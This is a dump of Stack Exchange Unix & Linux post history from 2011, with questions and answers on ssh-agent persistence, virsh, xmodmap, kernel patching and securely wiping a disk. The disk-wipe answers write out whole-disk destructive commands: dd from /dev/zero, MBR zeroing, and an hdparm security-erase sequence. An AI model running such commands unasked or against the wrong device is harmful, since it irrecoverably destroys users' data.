  <row Id="30074" PostHistoryTypeId="2" PostId="12293" RevisionGUID="c37c2606-eeba-43a9-85ec-fabeb95f85a4" CreationDate="2011-04-28T17:30:43.857" UserDisplayName="user596691" Text="Hi there. &#xD;&#xA;&#xD;&#xA;Is there a way to snap the currently open tab(s) on Firefox (or any other browser) on Linux?&#xD;&#xA;I have full user access to that machine...&#xD;&#xA;Thanks" />
  <row Id="30075" PostHistoryTypeId="1" PostId="12293" RevisionGUID="c37c2606-eeba-43a9-85ec-fabeb95f85a4" CreationDate="2011-04-28T17:30:43.857" UserDisplayName="user596691" Text="Linux/Firefox- snapping open tab from another machine." />
  <row Id="30076" PostHistoryTypeId="3" PostId="12293" RevisionGUID="c37c2606-eeba-43a9-85ec-fabeb95f85a4" CreationDate="2011-04-28T17:30:43.857" UserDisplayName="user596691" Text="élinuxàéfirefoxà" />
  <row Id="30077" PostHistoryTypeId="17" PostId="12293" RevisionGUID="bda899fe-20ac-48b6-a159-1ebe473288e8" CreationDate="2011-04-29T11:02:08.190" UserId="-1" Comment="from http://stackoverflow.com/questions/5822653/linux-firefox-snapping-open-tab-from-another-machine" Text="" />
  <row Id="30078" PostHistoryTypeId="2" PostId="12296" RevisionGUID="3ddafb27-ce31-432f-b045-9c5475a4976c" CreationDate="2011-04-29T11:18:45.947" UserId="6955" Text="I followed [this guide][1] to create a KVM guest but I didn't pay attention to this line `Note: if you want to use Virsh to manage your virtual machines as detailed below, you must add this parameter:1`&#xD;&#xA;&#xD;&#xA;So the VM is running fine but I'd like to add it to the list of VMs managed with virsh?&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/KVM/CreateGuests" />
  <row Id="30079" PostHistoryTypeId="1" PostId="12296" RevisionGUID="3ddafb27-ce31-432f-b045-9c5475a4976c" CreationDate="2011-04-29T11:18:45.947" UserId="6955" Text="How to add a KVM guest VM to virsh" />
  <row Id="30080" PostHistoryTypeId="3" PostId="12296" RevisionGUID="3ddafb27-ce31-432f-b045-9c5475a4976c" CreationDate="2011-04-29T11:18:45.947" UserId="6955" Text="éubuntuàékvmà" />
  <row Id="30081" PostHistoryTypeId="2" PostId="12297" RevisionGUID="2ecf17e0-b2b1-4a69-aa9f-8893efc0cf24" CreationDate="2011-04-29T11:40:40.177" UserId="5971" Text="Hi,&#xD;&#xA;&#xD;&#xA;I want to have passwordless ssh to persist even after after I restart or logoff and then login. Somehow I have to run ssh-agent and use command ssh-add at login. I read [here][1] to add following lines to .bashrc:&#xD;&#xA;&#xD;&#xA;    ssh_agent=&quot;$HOME/.ssh-agent.sh&quot;&#xD;&#xA;    if [ -f $ssh_agent ]&#xD;&#xA;    then&#xD;&#xA;      source $ssh_agent &gt; /dev/null&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA; At the same time, the tutorial mentioned that &#xD;&#xA;&#xD;&#xA;&gt; While ssh-agent is running all your processes (including your cron jobs) shouldn't need a password. However if ssh-agent dies or is killed things might go wrong since the old settings are left over.&#xD;&#xA;&#xD;&#xA;I want a safe method which allows me to use ssh without password even after I restart/relogin. Any suggestions?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blogs.translucentcode.org/mick/archives/000230.html" />
  <row Id="30082" PostHistoryTypeId="1" PostId="12297" RevisionGUID="2ecf17e0-b2b1-4a69-aa9f-8893efc0cf24" CreationDate="2011-04-29T11:40:40.177" UserId="5971" Text="automatic passwordless ssh at login/restart" />
  <row Id="30083" PostHistoryTypeId="3" PostId="12297" RevisionGUID="2ecf17e0-b2b1-4a69-aa9f-8893efc0cf24" CreationDate="2011-04-29T11:40:40.177" UserId="5971" Text="ésshàéloginàépasswordà" />
  <row Id="30084" PostHistoryTypeId="2" PostId="12298" RevisionGUID="b627caa4-5ed8-4faa-93bf-ffad1f76e868" CreationDate="2011-04-29T11:42:21.197" UserId="4485" Text="Look into the logfiles for further information:&#xD;&#xA;&#xD;&#xA;    find /var/log -mmin -1 -ls&#xD;&#xA;&#xD;&#xA;should show you, which of them got modified in the last minute. With less and grep you can inspect the files found by find:&#xD;&#xA;&#xD;&#xA;    less /var/log/daemon.log &#xD;&#xA;    grep ipw2200 /var/log/kern.log &#xD;&#xA;&#xD;&#xA;Note: ipw2200 is just an example for my intel-wland-driver ipw2200, your model will most likely be different. Maybe you find out which you have with:&#xD;&#xA;&#xD;&#xA;    lspci | grep -i wireless&#xD;&#xA;    sudo lshw -C net | less&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30085" PostHistoryTypeId="2" PostId="12299" RevisionGUID="21baff8e-3b56-400a-b038-65a305a5bfaf" CreationDate="2011-04-29T11:42:56.123" UserId="5661" Text="In general shell script functions are more flexible than aliases and you should prefer them. For example in an alias you cannot test if the number of arguments given or their types are the expected. I agree with [Caleb][1] that aliases fit well with simple one liners, for example `alias cp='cp -i'`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/12268/do-you-prefer-bash-scripts-or-aliases-for-shortcuts/12270#12270" />
  <row Id="30086" PostHistoryTypeId="2" PostId="12300" RevisionGUID="f1300b94-5e89-42cc-832e-d765360fdca9" CreationDate="2011-04-29T12:10:27.920" UserId="6955" Text="You can use `ssh-copy-id` to copy your public key to the remote machine. If you didn't add a password when doing `ssh-keygen`, then it won't prompt for a password whenever you ssh into that remote machine.&#xD;&#xA;&#xD;&#xA;So the steps will be something like:&#xD;&#xA;&#xD;&#xA;    local$ ssh-keygen -t dsa&#xD;&#xA;    local$ ssh-copy-id remote&#xD;&#xA;    local$ ssh remote" />
  <row Id="30087" PostHistoryTypeId="25" PostId="12297" RevisionGUID="0aa09796-ef3c-420e-823b-c36b9d975ccd" CreationDate="2011-04-29T12:11:14.863" Comment="http://twitter.com/#!/StackUnix/status/63938390550261760" />
  <row Id="30088" PostHistoryTypeId="5" PostId="12174" RevisionGUID="cb39d68f-eff1-4430-b947-624fe188e552" CreationDate="2011-04-29T12:24:08.420" UserId="7030" Comment="Add requested details" Text="[Mandos][1] (which I and others have written) solves this very problem:&#xD;&#xA;&#xD;&#xA;&gt; Mandos is a system for allowing servers with encrypted root file systems to reboot unattended and/or remotely. See [the latest README][2] file for more information, including an FAQ list.&#xD;&#xA;&#xD;&#xA;In short, the booting server gets the password over the network, in a secure fashion.  See the README for details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fukt.bsnet.se/mandos&#xD;&#xA;  [2]: http://bzr.fukt.bsnet.se/loggerhead/mandos/trunk/annotate/head:/README" />
  <row Id="30089" PostHistoryTypeId="5" PostId="12175" RevisionGUID="e9630d3b-f0c1-4d24-b50b-01873a58d6f6" CreationDate="2011-04-29T12:35:43.663" UserId="7030" Comment="Changed as requested" Text="If you want to be able to boot *unattended* as well as remotely, you should also look at [Mandos][1] (which I and others have written):&#xD;&#xA;&#xD;&#xA;&gt; Mandos is a system for allowing servers with encrypted root file systems to reboot unattended and/or remotely. See [the latest README][2] file for more information, including an FAQ list.&#xD;&#xA;&#xD;&#xA;In short, the booting server gets the password over the network, in a secure fashion. See the README for details.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fukt.bsnet.se/mandos&#xD;&#xA;  [2]: http://bzr.fukt.bsnet.se/loggerhead/mandos/trunk/annotate/head:/README&#xD;&#xA;" />
  <row Id="30090" PostHistoryTypeId="2" PostId="12301" RevisionGUID="b6c484ef-7686-4abd-89c3-b5363f9212b2" CreationDate="2011-04-29T12:41:37.400" UserId="3389" Text="Headless server?  If it has a serial port, use it.&#xD;&#xA;&#xD;&#xA;GRUB can be configured to work over the serial port.  Your kernel can also be configured use the serial port for outputting the initial boot messages, inputting the password to unlock your drives, and logging in.  (If your server supports serial BIOS, enable that as well.  Then you'll never have to connect a monitor to the machine at all).&#xD;&#xA;&#xD;&#xA;Always a good idea to have a &quot;non-network&quot; way of getting in a headless server." />
  <row Id="30091" PostHistoryTypeId="2" PostId="12302" RevisionGUID="abd921e6-ba6b-4bf6-88ff-032b0202d9bc" CreationDate="2011-04-29T13:05:24.383" UserId="2168" Text="The easy way: Install [`pam_ssh`](http://pam-ssh.sourceforge.net/). It will automatically start a ssh-agent and load your keys when you log in.&#xD;&#xA;&#xD;&#xA;The hard way: Put this into your login script (`~/.bash_profile` or `~/.profile`):&#xD;&#xA;&#xD;&#xA;    check-ssh-agent() {&#xD;&#xA;        # `ssh-add` returns 2 if the agent is running but empty; ignore.&#xD;&#xA;        ssh-add -l &amp;&gt;/dev/null || (( $? == 2 ))&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    if ! check-ssh-agent; then&#xD;&#xA;        envfile=~/.ssh/agent-$HOSTNAME&#xD;&#xA;        if [ -f &quot;$envfile&quot; ]; then&#xD;&#xA;            . &quot;$envfile&quot; &gt;/dev/null&#xD;&#xA;        fi&#xD;&#xA;        if ! check-ssh-agent; then&#xD;&#xA;            ssh-agent &gt;&quot;$envfile&quot;&#xD;&#xA;            . &quot;$envfile&quot; &gt;/dev/null&#xD;&#xA;            if [ -t 0 ]; then&#xD;&#xA;                # This `if` can be removed if all your keys are passphrase-less.&#xD;&#xA;                ssh-add&#xD;&#xA;            fi&#xD;&#xA;        fi&#xD;&#xA;        unset envfile&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;The &quot;leftover settings&quot; are just the `$SSH_AUTH_SOCK` environment variable, which you can fix easily. (Besides, all that *could* go wrong is an error message from ssh.)" />
  <row Id="30092" PostHistoryTypeId="5" PostId="12274" RevisionGUID="9c14695b-2651-409d-b183-8c99661a3fa8" CreationDate="2011-04-29T13:57:29.990" UserId="6988" Comment="fixed example" Text="I suggest to use [`expr`][1] because it is POSIX-compliant:&#xD;&#xA;&#xD;&#xA;    if [ &quot;$(expr &quot;$1&quot; : '^[0-9]\+$')&quot; = &quot;0&quot; ]; then&#xD;&#xA;        echo &quot;'$1' has a non-digit somewhere in it&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    else&#xD;&#xA;         echo &quot;'$1' is strictly numeric&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;[1]: http://pubs.opengroup.org/onlinepubs/000095399/utilities/expr.html" />
  <row Id="30093" PostHistoryTypeId="5" PostId="12268" RevisionGUID="9ae2b81c-a7ea-4e8e-9627-1b6a47c1cd21" CreationDate="2011-04-29T14:12:11.873" UserId="6973" Comment="typo" Text="I have a `~/bin` directory (which is on my `PATH`) where I store a lot of little 1 or 2 line scripts. Some of them just `cd` into a directory and run a command on a file, like `vim` or something. But I also have a lot of aliases in my `.bash_aliases` file which serve the same purpose. &#xD;&#xA;&#xD;&#xA;How do you decide between writing a little bash script and writing an alias? Does it matter at all which way you go? " />
  <row Id="30094" PostHistoryTypeId="2" PostId="12303" RevisionGUID="c50d528b-4a09-4a74-81b3-c136dafb7fc3" CreationDate="2011-04-29T14:34:03.123" UserId="6167" Text="Just use a fixed Agent Socket.  For example:&#xD;&#xA;&#xD;&#xA;    export SSH_AUTH_SOCK=/tmp/user.agent&#xD;&#xA;    ssh-agent -a /tmp/user.agent&#xD;&#xA;    ssh-add&#xD;&#xA;    ssh -f -N -R 22:localhost:2222 server&#xD;&#xA;&#xD;&#xA;This starts `ssh-agent` using the socket `/tmp/user.agent` and then runs `ssh-add` to load a private key into it.  I then start `ssh` to server with a remote port forward.  Attempt to connect to port 2222 on server will be forwarded back to the client and connect to port 22 on the client.  -N says don't start a shell and -f says fork and run in background.  I use this kind of command to make my desktop accessible from a server without opening up a port on my router.  Later when you log in again, the agent will still be running.  Just reset the agent socket with `export SSH_AUTH_SOCK=/tmp/user.agent` and you can run ssh again.  ssh-add is only needed after ssh-agent is first started." />
  <row Id="30095" PostHistoryTypeId="5" PostId="12290" RevisionGUID="34de9c90-92c8-4709-b3ac-7851bc6c822e" CreationDate="2011-04-29T14:43:00.837" UserId="73" Comment="added 5 characters in body" Text="How can I map the spanish eñe letter to a key combination? What application is suitable for this purpose (`xmodmap`, `xbindkeys`, ...)?&#xD;&#xA;&#xD;&#xA;When I press &lt;kbd&gt;Caps Lock&lt;/kbd&gt; + &lt;kbd&gt;n&lt;/kbd&gt;, it should type `ñ`&#xD;&#xA;&#xD;&#xA;When I press &lt;kbd&gt;Caps Lock&lt;/kbd&gt; + &lt;kbd&gt;N&lt;/kbd&gt;, it should type `Ñ`&#xD;&#xA;&#xD;&#xA;I'd like to do this without switching keyboard layouts; I want to use only the English keyboard layout.&#xD;&#xA;" />
  <row Id="30096" PostHistoryTypeId="2" PostId="12304" RevisionGUID="f66c4b6e-7f8b-4b35-bfaf-e5317a9a24f0" CreationDate="2011-04-29T14:56:11.057" UserId="7075" Text="Hello, first of all I browsed through the questions but found nothing that can be helpful to me. I'm running debian and need a way to format the entire hdd in order to not leave any trace on it because I want to donate it to a friend. So what will be the best way in order to format it? If I reinstall the OS it will not fully format it. I'm looking for a way to completely format it and make it like when you buy it from the shop, completely new and never stored a thing before.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="30097" PostHistoryTypeId="1" PostId="12304" RevisionGUID="f66c4b6e-7f8b-4b35-bfaf-e5317a9a24f0" CreationDate="2011-04-29T14:56:11.057" UserId="7075" Text="What's the best way to format a HDD in Linux in order to leave no trace?" />
  <row Id="30098" PostHistoryTypeId="3" PostId="12304" RevisionGUID="f66c4b6e-7f8b-4b35-bfaf-e5317a9a24f0" CreationDate="2011-04-29T14:56:11.057" UserId="7075" Text="élinuxà" />
  <row Id="30099" PostHistoryTypeId="25" PostId="12304" RevisionGUID="15febf97-99e3-443b-94b8-10bfc03fb530" CreationDate="2011-04-29T15:11:14.610" Comment="http://twitter.com/#!/StackUnix/status/63983688626601984" />
  <row Id="30100" PostHistoryTypeId="2" PostId="12305" RevisionGUID="0aa2db04-05ce-4511-a194-280667e6fb7b" CreationDate="2011-04-29T15:17:37.877" UserId="7076" Text="[Use DBAN ][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dban.org/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It's super secure albeit slow.  So be ready for that." />
  <row Id="30101" PostHistoryTypeId="2" PostId="12306" RevisionGUID="e1586616-2758-4631-8f09-47b3f861b24b" CreationDate="2011-04-29T15:20:10.810" UserId="2421" Text="The Electronic Frontier Foundation's [Surveillance Self-Defense site][1] recommends [Darik's Boot and Nuke][2].  It's a self-contained boot CD, so it works with any OS.&#xD;&#xA;&#xD;&#xA;**Beware** that DBAN will erase _every_ hard drive connected to the computer.  If you have other hard drives that you plan to keep, make certain they're unplugged before booting DBAN.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://ssd.eff.org/tech/deletion&#xD;&#xA;  [2]: http://dban.sourceforge.net/" />
  <row Id="30102" PostHistoryTypeId="2" PostId="12307" RevisionGUID="c09c57e0-e16d-40da-9423-8bddd9537669" CreationDate="2011-04-29T15:30:25.367" UserId="1375" Text="Is there a piece of Linux software that does what [GraphClick][1] does in Mac OS X?&#xD;&#xA;&#xD;&#xA;That is, is there a Linux software that &quot;is a graph digitizer software which allows to automatically retrieve the original (x,y)-data from the image of a scanned graph&quot;?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arizona-software.ch/graphclick/" />
  <row Id="30103" PostHistoryTypeId="1" PostId="12307" RevisionGUID="c09c57e0-e16d-40da-9423-8bddd9537669" CreationDate="2011-04-29T15:30:25.367" UserId="1375" Text="Linux equivalent of GraphClick?" />
  <row Id="30104" PostHistoryTypeId="3" PostId="12307" RevisionGUID="c09c57e0-e16d-40da-9423-8bddd9537669" CreationDate="2011-04-29T15:30:25.367" UserId="1375" Text="édataörecoveryàéimageöeditoràéscanneràédigitizeàégraphà" />
  <row Id="30105" PostHistoryTypeId="2" PostId="12308" RevisionGUID="a26961e4-1569-4564-a0cf-8cdfbf3cc16d" CreationDate="2011-04-29T15:42:09.610" UserId="1207" Text="This really isn't a &quot;Linux and Unix&quot; answer, but I would use the ATA Secure Erase command if it is available for your hardware, which is likely is.  You can read about ATA Secure Erase here:&#xD;&#xA;&#xD;&#xA;https://ata.wiki.kernel.org/index.php/ATA_Secure_Erase" />
  <row Id="30106" PostHistoryTypeId="2" PostId="12309" RevisionGUID="b15ebef9-17e0-4886-9dfb-08381d13c653" CreationDate="2011-04-29T15:47:24.587" UserId="5944" Text="I've never done a kernel patch before, and I've just recently started looking into how it's done. I notice that for a patch's filename, it tells us the kernel version (i.e dm-raid45-2.6.25-rc2_20080221.patch.bz2). So, I know that definitely for kernel 2.6.25, I'd need to apply this patch. But, I just want to make sure: If I've got a kernel that is more recent than the one mentioned - say, 2.6.26 - does this mean that this patch has already moved its way to the 2.6.26 kernel version and that I won't need to apply it at all? &#xD;&#xA;&#xD;&#xA;Thanks for clarifying!" />
  <row Id="30107" PostHistoryTypeId="1" PostId="12309" RevisionGUID="b15ebef9-17e0-4886-9dfb-08381d13c653" CreationDate="2011-04-29T15:47:24.587" UserId="5944" Text="kernel patches - knowing when to do them" />
  <row Id="30108" PostHistoryTypeId="3" PostId="12309" RevisionGUID="b15ebef9-17e0-4886-9dfb-08381d13c653" CreationDate="2011-04-29T15:47:24.587" UserId="5944" Text="ékernelàépatchà" />
  <row Id="30109" PostHistoryTypeId="2" PostId="12310" RevisionGUID="6b1c5ecc-fed7-468c-8fa1-6b9ecf6e889f" CreationDate="2011-04-29T16:08:21.653" UserId="7080" Text="Hi all. I am looking to download modelsim for ubuntu. But the site gives only .exe file. Can I still install the software? Does modelsim exist for ubuntu? If yes, where can I find it?&#xD;&#xA;Thank you." />
  <row Id="30110" PostHistoryTypeId="1" PostId="12310" RevisionGUID="6b1c5ecc-fed7-468c-8fa1-6b9ecf6e889f" CreationDate="2011-04-29T16:08:21.653" UserId="7080" Text="Modelsim for ubuntu" />
  <row Id="30111" PostHistoryTypeId="3" PostId="12310" RevisionGUID="6b1c5ecc-fed7-468c-8fa1-6b9ecf6e889f" CreationDate="2011-04-29T16:08:21.653" UserId="7080" Text="éubuntuàésoftwareöinstallationàéexecutableà" />
  <row Id="30112" PostHistoryTypeId="5" PostId="12286" RevisionGUID="f0226794-1ba1-4dd7-8b0e-5ddd53c357be" CreationDate="2011-04-29T16:16:35.510" UserId="2343" Comment="deleted 32 characters in body" Text="A method I've come up with uses raw hex data as input (ie. no \u0965, no \x09\x65)..  &#xD;&#xA;`xxd` is a hex-dump utility (packaged with `vim-common`) which can revert a raw hex dump to the characters the dump represents... Unicode Codepoints are UTF-16BigEndian, which is exactly what  a Hex-dump is..  &#xD;&#xA;`xxd` in revert mode accepts a stream of Hex values with line breaks.which are ignored. &#xD;&#xA;&#xD;&#xA;This script creates a UTF-16BE stream, which it then reverts to the original chars.  &#xD;&#xA;The last line contains the two needed commands; `xxd` and `iconv` &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    for line in \&#xD;&#xA;      &quot;Matsuo Basho (1644-1694)&quot; \&#xD;&#xA;      &quot;  pond&quot; \&#xD;&#xA;      &quot;  frog jumps in&quot; \&#xD;&#xA;      &quot;  plop!&quot;&#xD;&#xA;    do &#xD;&#xA;      echo &quot;$line&quot; |iconv -f &quot;$(locale charmap)&quot; -t &quot;UTF-16BE&quot; |xxd -ps -u &#xD;&#xA;    done |&#xD;&#xA;    #    (---this is the **revert** code---) &#xD;&#xA;    tee &gt;(xxd -p -u -r |iconv -f &quot;UTF-16BE&quot;) ;echo&#xD;&#xA;&#xD;&#xA;Here is the output (showing the UTF-16BE hex-dump input, first) &#xD;&#xA;&#xD;&#xA;    002000200070006F006E0064000A&#xD;&#xA;    0020002000660072006F00670020006A00750070007300200069006E000A&#xD;&#xA;    002000200070006C006F00700021000A&#xD;&#xA;&#xD;&#xA;    Matsuo Basho (1644-1694)&#xD;&#xA;      pond&#xD;&#xA;      frog jumps in&#xD;&#xA;      plop!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30113" PostHistoryTypeId="2" PostId="12311" RevisionGUID="16f60128-2b10-4061-9d11-d554a2eb734e" CreationDate="2011-04-29T16:17:47.387" UserId="7001" Text="If I run:&#xD;&#xA;&#xD;&#xA;    $ ls *&#xD;&#xA;    foo bar buzz&#xD;&#xA;    $ history | tail -1&#xD;&#xA;    ls *&#xD;&#xA;&#xD;&#xA;You can see that in my shell history it remembers that I ran `ls *` rather than `ls foo bar buzz`. Ideally, I'd like to record both in separate histories. When I wonder, &quot;what the heck happened to file foo?&quot;, it would be nice to be able to have a way to go back and figure out that I did `rm *` in the wrong directory by searching through my history and finding 'foo'.&#xD;&#xA;&#xD;&#xA;I'm interested in solutions for both zsh and bash." />
  <row Id="30114" PostHistoryTypeId="1" PostId="12311" RevisionGUID="16f60128-2b10-4061-9d11-d554a2eb734e" CreationDate="2011-04-29T16:17:47.387" UserId="7001" Text="Can I have my shell history record how wildcards expanded?" />
  <row Id="30115" PostHistoryTypeId="3" PostId="12311" RevisionGUID="16f60128-2b10-4061-9d11-d554a2eb734e" CreationDate="2011-04-29T16:17:47.387" UserId="7001" Text="éshellàébashàézshàéhistoryàéwildcardsà" />
  <row Id="30116" PostHistoryTypeId="2" PostId="12312" RevisionGUID="220e3a6c-ea57-4681-9911-4c383663eb18" CreationDate="2011-04-29T16:19:08.533" UserId="6290" Text="Unless your &quot;friend&quot; is the NSA, tools that do lots of random or pattern overwriting (as DBAN which others are recommending does) are overkill - `dd if=/dev/zero of=[your disk... make sure you get it right] bs=10M` will erase it so that it can't be recovered without taking the disk apart and scanning the platters with special hardware." />
  <row Id="30117" PostHistoryTypeId="5" PostId="12286" RevisionGUID="fdafd503-73a1-49d6-a14a-1a55177d1ee4" CreationDate="2011-04-29T16:21:37.177" UserId="2343" Comment="added 241 characters in body; added 60 characters in body; added 4 characters in body" Text="A method I've come up with uses raw hex data as input (ie. no \u0965, no \x09\x65)..  &#xD;&#xA;`xxd` is a hex-dump utility (packaged with `vim-common`) which can revert a raw hex dump to the characters the dump represents... Unicode Codepoints are UTF-16BigEndian, which is exactly what  a Hex-dump is..  &#xD;&#xA;`xxd` in revert mode accepts a stream of Hex values with line breaks.which are ignored. &#xD;&#xA;&#xD;&#xA;This script creates a UTF-16BE stream, which it then reverts to the original chars.  &#xD;&#xA;The last line contains the two needed commands; `xxd` and `iconv` &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    for line in \&#xD;&#xA;      &quot;Matsuo Basho (1644-1694)&quot; \&#xD;&#xA;      &quot;  pond&quot; \&#xD;&#xA;      &quot;  frog jumps in&quot; \&#xD;&#xA;      &quot;  plop!&quot;&#xD;&#xA;    do &#xD;&#xA;      echo &quot;$line&quot; |iconv -f &quot;$(locale charmap)&quot; -t &quot;UTF-16BE&quot; |xxd -ps -u &#xD;&#xA;    done |&#xD;&#xA;    #    (---this is the **revert** code---) &#xD;&#xA;    tee &gt;(xxd -p -u -r |iconv -f &quot;UTF-16BE&quot;) ;echo&#xD;&#xA;&#xD;&#xA;Here is the output (showing the UTF-16BE hex-dump input, first).   &#xD;&#xA;Note; `xxd` segments its own output with a newline at 60 hex-digits...  The revert option ignores these newlines.. it ignores any/all newlines (as the aren't hex-digits)..   &#xD;&#xA;&#xD;&#xA;    004D0061007400730075006F00200042006100730068006F002000280031&#xD;&#xA;    003600340034002D00310036003900340029000A&#xD;&#xA;    002000200070006F006E0064000A&#xD;&#xA;    0020002000660072006F00670020006A0075006D0070007300200069006E&#xD;&#xA;    000A&#xD;&#xA;    002000200070006C006F00700021000A&#xD;&#xA;    &#xD;&#xA;    Matsuo Basho (1644-1694)&#xD;&#xA;      pond&#xD;&#xA;      frog jumps in&#xD;&#xA;      plop!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30118" PostHistoryTypeId="5" PostId="12308" RevisionGUID="ddb2c0a6-edf7-4bf6-8365-cce66bfa1e8a" CreationDate="2011-04-29T16:45:38.127" UserId="1207" Comment="added 898 characters in body; added 163 characters in body" Text="This really isn't a &quot;Linux and Unix&quot; answer, but I would use the ATA Secure Erase command if it is available for your hardware, which is likely is.  You can read about ATA Secure Erase here: https://ata.wiki.kernel.org/index.php/ATA_Secure_Erase.  &#xD;&#xA;&#xD;&#xA;The following summarizes how to use the command on any system with the `hdparm` utility ([man page][1]).  The directions are from the article above.  I am assuming the drive is at `/dev/X`.  You want to do this from a Live CD of some sort such that you aren't actually running off the disk you are trying to erase.&#xD;&#xA;&#xD;&#xA;1. `hdparm -I /dev/X`  &#xD;&#xA;    Make sure the device is not frozen by looking for &quot;not frozen&quot; in the command output.  If the device is frozen, it is likely you will need to look in your BIOS to see if you can change it.&#xD;&#xA;&#xD;&#xA;2. `hdparm --user-master u --security-set-pass mypass /dev/X` &#xD;&#xA;    Set the drive password to &quot;mypass&quot; or something of your choosing.  If you don't have a password set, the drive won't accept this command.&#xD;&#xA;3. `hdparm --user-master u --security-erase mypass /dev/X` Issue the command.&#xD;&#xA;&#xD;&#xA;The directions on the website linked above also have commands to ensure each step worked as desired and some helpful troubleshooting.  This method is highly secure and relatively fast.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/8/hdparm" />
  <row Id="30119" PostHistoryTypeId="2" PostId="12313" RevisionGUID="f28bf4b2-e830-4c70-b80c-f50bacd33a81" CreationDate="2011-04-29T16:49:39.510" UserId="6803" Text="Not exactly what you want, but instead of `Caps Lock` you can use `AltGr`:&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;AltGr&lt;/kbd&gt; + &lt;kbd&gt;n&lt;/kbd&gt;   producing `ñ`&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;AltGr&lt;/kbd&gt; + &lt;kbd&gt;N&lt;/kbd&gt;   producing `Ñ`&#xD;&#xA;&#xD;&#xA;To get that with `xmodmap` you must know the keycode which produces the `N`. This can be done with:&#xD;&#xA;&#xD;&#xA;    xmodmap -pke | grep &quot;n N n N&quot;&#xD;&#xA;&#xD;&#xA;where you may get something like: `keycode  57 = n N n N n N`. This means that the keycode `57` represents the &lt;kbd&gt;n&lt;/kbd&gt; key.&#xD;&#xA;&#xD;&#xA;Then, you remap this keycode, to produce the `ñ` and `Ñ` with:&#xD;&#xA;&#xD;&#xA;    xmodmap -e &quot;keycode  57 = n N n N ntilde Ntilde&quot;&#xD;&#xA;&#xD;&#xA;(with this command, the fifth position after the `=` is produced when you type that key in combination with `AltGr`, and the sixth position when `AltGr` and `Shift` are pressed together).&#xD;&#xA;&#xD;&#xA;If this woks, [you can make it to run automatically after login][1].&#xD;&#xA;&#xD;&#xA;[1]: http://unix.stackexchange.com/questions/11604/run-xmodmap-commands-after-login" />
  <row Id="30120" PostHistoryTypeId="2" PostId="12314" RevisionGUID="e7a24ed3-b142-4c2c-a21b-7ffb8db5f897" CreationDate="2011-04-29T17:03:15.413" UserId="6167" Text="First of all, you shouldn't need to patch your kernel just because it's not the latest.  You would normally rely on your distribution maintainers to do patching.  You might need to patch if you had some kind of uncommon hardware, but most of the time, you just need a different or newer kernel module that is supplied separately from the kernel.  My current touchpad has issues with the stock Ubuntu Kernel, but I installed a Package someone built to fix it instead of patching my kernel.  Some of the more common reasons to patch a kernel are to test out some new feature or update some more core functionality than a device driver.&#xD;&#xA;&#xD;&#xA;Assuming you need or just want to patch your kernel, beware that most patches are against a vanilla kernel as one might download from kernel.org.  Most Linux distributions have already applied a number of patches of their choosing against a vanilla kernel which can cause a patch to fail to apply.  If you want to learn how to patch a kernel, I would first practice building a vanilla kernel and try to boot from it once before patching it.&#xD;&#xA;&#xD;&#xA;To answer your last question, it all depends.  I can't tell you whether it's in later kernels without knowing exactly what the patch is and looking at the changelog of 2.6.26.  Many people provide patches against the kernel for various reasons.  The patch may be a bug fix or maybe just an enhancement.  Sometimes, it an experiment to improve disk I/O throughput, or some other experiment.  There may or may not be an intention to get it integrated with the next kernel release.  A patch does not mean that a bug needs to be fixed, or it may attempt to fix a minor bug, but causing a gaping hole instead and be rejected before ever being integrated." />
  <row Id="30121" PostHistoryTypeId="5" PostId="12312" RevisionGUID="b3d120e3-8228-4152-9b27-aa731a6cdb45" CreationDate="2011-04-29T17:17:32.237" UserId="6290" Comment="added 242 characters in body" Text="Unless your &quot;friend&quot; is the NSA, tools that do lots of random or pattern overwriting (as DBAN which others are recommending does) are overkill - `dd if=/dev/zero of=[your disk... make sure you get it right] bs=10M` will erase it so that it can't be recovered without taking the disk apart and scanning the platters with special hardware.&#xD;&#xA;&#xD;&#xA;If you use `/dev/urandom` instead as Gilles suggests, make sure to zero out the MBR afterward so that the partition table and boot code is clean to not confuse the BIOS or any partitioning tools: `dd if=/dev/zero of=[disk] bs=512 count=1`" />
  <row Id="30122" PostHistoryTypeId="6" PostId="12304" RevisionGUID="907ab1a1-29fa-4b64-a300-79e9700c7b09" CreationDate="2011-04-29T17:17:48.010" UserId="885" Comment="edited tags" Text="élinuxàésecurityàéhardödiskàérmà" />
  <row Id="30123" PostHistoryTypeId="2" PostId="12315" RevisionGUID="e7124872-7799-44ca-a66c-435ec999451a" CreationDate="2011-04-29T17:29:23.767" UserId="7082" Text="Hello forum,&#xD;&#xA;&#xD;&#xA;I am looking for a light weight Linux for a pc that is runs at 200 Mhz with 256 megs of ram. I was thinking maybe Lubuntu as the system requirments state it needs at least a Pentium 2 generation with 128 Megs of ram.. GUI is not all that important to have, so would I be better off going with something like Ubuntu server? I was kinda hoping to go with a Ubuntu flavor do to their great support base, but I willing to try other flavors.&#xD;&#xA;  " />
